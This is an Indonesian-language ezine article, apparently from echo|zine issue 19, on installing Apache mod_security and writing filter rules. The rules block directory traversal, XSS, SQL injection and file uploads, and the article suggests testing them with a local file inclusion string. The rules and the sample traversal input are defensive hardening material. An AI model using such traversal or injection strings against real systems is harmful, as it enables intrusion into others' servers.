"mod_security" merupakan sebuah modul keamanan web server yang bisa di integrasikan dengan apache web server untuk melakukan proses "filtering request" dan bisa mmelakukan aksi tertentu yang berubah2 seseau dengan aturan (rule) yang dibuat. Tidak hanya itu saja, "mod_security" melakukan pengecekan terhadap berbagi inputan request yang bisa diterima oleh web server. Apalagi jika kita bisa membuat dan menerapkan aturan (rule) dengan baik maka "mod_security" dapat digunakan sebagai senjata ampuh dan sangat efektif untuk mencegah kegiatanan attacking seperti : directory tranversal, cross-site scripting (XSS), buffer overflow. ====== Bagaimana menginstall Mod_security
---|
. Unduh apxs utility "Apache eXtenSion" di : http://www.apache.org/docs/programs/apxs.html. Digunakan untuk membantu instalasi dan konfigurasi Apache Modul, jangan lupa untuk membaca ManualBooknya. . Donlod "mod_security" di : http://www.modsecurity.org . Lakukan perubahan directory Apache yang Anda pergunakan : apache1 atau apache2 . Install "mod_security", dengan perintah :
66
# apxs -cia mod_security.c =======
Konfigurasi Mod_Security ---|
Jika Anda sudah melakukan proses intalasi, sekarang waktunya Anda untuk mengaktifkan "mod_security", dengan cara memasukan baris perintah ini kedalam httpd.conf, adapu baris perintahnya sbb :
SecFilterEngine On Nah, sekarang "mod_security" sudah dalam keadaan 'enabled' itu artinya "mod_security" sudah bekerja sehingga semua permintaan (request) yang datang ke web server akan di check. Tambahkan lagi di httpd.conf, sbb :
SecFilterScanPOST On * memfilter variabel yang di post
SecFilterCheckURLEncoding On * menfilter url encoding SecFilterCheckUnicodeEncoding On * memfilter bhawa hanya unicode yang bisa di endoding
SecFilterForceByteRange 32 126 * mencegah buffer overflow
SecFilter "\.\./" * akan menfilter karakter squence yang mengandung : " ../ " SecFilter "<[[:space:]]*script" * menonaktikan inputan berupa javascript
SecFilter "<(.|\n)+>" * menonaktifkan inputan berupa html
SecFilter "delete[[:space:]]+from" SecFilter "insert[[:space:]]+into" SecFilter "select.+from" * ketiga perintah tersebut berguna untuk mecegah SQL injection
SecFilterSelective COOKIE_sessionid "!^(|[0-9]{1,9})$" * mencegah SQL injection yang memanfaatkan sessionid
67
SecFilterSelective "HTTP_USER_AGENT|HTTP_HOST" "^$" * pengecekan header request
SecFilterSelective "HTTP_CONTENT_TYPE" multipart/form-data * melakukan reject terhadap file upload SecAuditEngine On SecAuditLog logs/audit_log * kedua perintah ini digunakan untuk menjaga log dan full request agar tetap terkirim ke server. =======
Penutup ---|
Setelah konfigurasi tersebut anda terapkan, selanjutnya anda silahkan melakukan ujicoba, sebagai contoh melakukan Local file inclusion (../../../../f00/f00), dan beberapa settingan diatas, tidaklah 100% kuat, anda perlu mempelajarinya dan mengoptimalkan konfigurasinya. =======
Referensi ---|
[1] Mod_security Reference Manual v1.7.4 [2] http://www.modsecurity.org/documentation/modsecurity-manual-1.7.4.pdf ======= [1] [2] [3] [4] [5]
Greetz ---|
echo|staff, newbie hacker AllMyFriends : Flexus, S4kitJiw4, dll deh... ;) stmik_bina_insani_bekasi anakku "Debian" semua teman2 yang tidak aku sebutkan satu persatu. *- $e19dot010dottxt - echo|zine - issue#19 - 080808 -*
68